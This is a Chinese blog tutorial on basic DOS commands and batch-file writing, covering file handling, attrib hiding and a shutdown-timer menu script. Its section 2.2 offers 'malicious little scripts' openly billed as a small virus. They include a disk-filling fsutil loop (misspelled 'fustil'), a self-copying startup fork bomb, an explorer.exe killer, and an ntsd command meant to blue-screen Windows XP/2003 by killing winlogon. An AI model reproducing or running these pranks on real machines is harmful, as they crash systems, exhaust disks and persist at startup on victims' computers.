DOS:DOS命令+批处理

1.基本DOS命令

DOS:磁盘操作系统(Disk Operating System)

【浏览】 切换目录
   (1)普通显示:type 文件名.后缀名
   (2)分页显示:type 文件名.后缀名 | more (more也可以换成其他,作为分割线中间的字符)
   (3)完整(?):type 文件路径及文件名 | more
   | 是分页显示的标志

【创建】 切换目录
   (1)创建单行文本文件:echo 文本 > 文件名.后缀名
  
   [tips] >> 追加
      >覆盖
      
      在这里插入图片描述
   (2)copy con 文件名.扩展名
      编辑文本
      ctrl + z + 回车(结束编写)
  在这里插入图片描述

【改名】 切换目录
     ren (旧)文件名.拓展名 (新)文件名.拓展名

【复制】 切换目录
   (1)copy (源)文件名.拓展名 (目的)路径
   (2)copy (源)路径+文件 (目的)路径

【移动】 切换目录
   (1)move (源)文件名.拓展名 (目的)路径
   (2)move(源)路径+文件 (目的)路径
  
【删除】 切换目录
   (1)删除单个:del 文件名.拓展名
   (2)删除类别:del *.拓展名
           del *.* (全删,有提示)
           del *.* /q (全删,无提示 )( /s删除根目录,不要随便用)
          
    [tip] *是DOS命令中通配符,不要乱用噢。
   
   
【拓展】 切换目录
   (1)创建文件:md 文件名
    md 文件名 文件名(创建多个目录)
   在这里插入图片描述
   (2)隐藏文件:attrib +h 文件名
            attrib +h +s +a文件名
           
      [tip] attrib 可以隐藏文件或文件夹
     
      [tips] +h 隐藏文件
         +s 提升为系统级别文件
         +a 独属性文件,别人不能修改
        
   (3)取消隐藏:attrib -h 文件名
   (4)修改关联性: assoc .拓展名=拓展名(assoc后边有个空格噢)
   (5)快速生成一个内容为空、大小不空的文件:
      fsutil file createnew 目录.ini 409600000(数字表示文件大小)

【关机】 shutdown -s
        shutdown -s -t 100(数字可换,指定时间关机)
        shutdown -a(取消一切定时)
        shutdown -s -f -t 100(-f:强制)
        shutdown -s -t 100 -c “12346” (字符串可换)
        
【注销】:shutdown -l
     logoff

=============================================

2.批处理编写

记事本创建 .bat

2.1 基本用法

(1)@echo off
(2)title
(3)pause
(4)echo.
(5)set     
  set /p time=请输入时间: (互动赋值)
  %time% (引用变量)

/*基本用法*/
/* momo.bat */

@echo  off            // 关闭回显,屏闭执行过程
title clear rubbish  // 标题
color 0a             //颜色(0前者代表背景颜色,后者代表字体颜色)
echo ===========
echo hello world
echo ===========
pause         //执行时,回车继续
echo.         //表示执行结果空一行,(批处理特有用法)
echo cleaning...
d: >nul 2>nul        //>nul:屏蔽执行成功的信息
cd \ >nul 2>nul      //2>nul:屏蔽执行失败的信息
rd. /s/q >nul 2>nul
ping -n 10 127.0.0.1 >nul 2>nul
echo over... 

2.2 恶意小脚本

/*挤爆D盘?*/
/* 一个小病毒? */
/*  creat.bat  */

d:
cd\
fustil file creatnew d:\sys0.ini 4096000000
fustil file creatnew d:\sys1.ini 4096000000
fustil file creatnew d:\sys2.ini 4096000000
fustil file creatnew d:\sys3.ini 4096000000
fustil file creatnew d:\sys4.ini 4096000000
fustil file creatnew d:\sys5.ini 4096000000
fustil file creatnew d:\sys6.ini 4096000000
/*: 冒号的用法*/
/* : + goto = 一个小病毒*/
/*  123.bat */ 

/*copy 123.bat "%userprofile%\[开始]\程序\启动"   //用哪个用户登录就是哪个,%userprofile%:系统自定义的。记得加双引号噢。*/

copy 123.bat c:\Documents and Settings\Administrator\[开始]\程序\启动             //开机自启动,win2003
:d
start
goto d         //执行d操作
/*关闭桌面*/

taskkill /im explorer.exe /f  >nul 2>nul //杀死一个桌面
ping -n 5 127.0.0.1 >nul 2>nul
start c:\windows\explorer.exe

/*taskkill*/
/*// im:指定名称, 后跟指定名称*/
/*蓝屏*/// 只针对xp和2003的蓝屏命令
ntsd -c q -pn winlogon.exe  

2.3 关机小程序

/* 一个小程序:关机*/
/* shutdown.bat */

@echo off
title 你要关机吗v1.0
color 0a
:menu
cls
echo =================
echo        菜单
echo    1.定时关机
echo    2.取消定时
echo    3.退出
echo =================
set /p num=你的选择:
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
echo 只能输入1/2/3噢!!!
pause
goto menu

:1
set /p a=请输入关机前等待时间(单位:秒       //等待用户输入
shutdown -s -f -t %a%
goto menu

:2
shutdown -a
//echo :a>> "%userprofile%\[开始]\程序\启动\123.bat"  //添加到开机启动里
//echo start>> "%userprofile%\[开始]\程序\启动\123.bat"   
//echo goto a>> "%userprofile%\[开始]\程序\启动\123.bat"     
goto menu

:3
exit

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值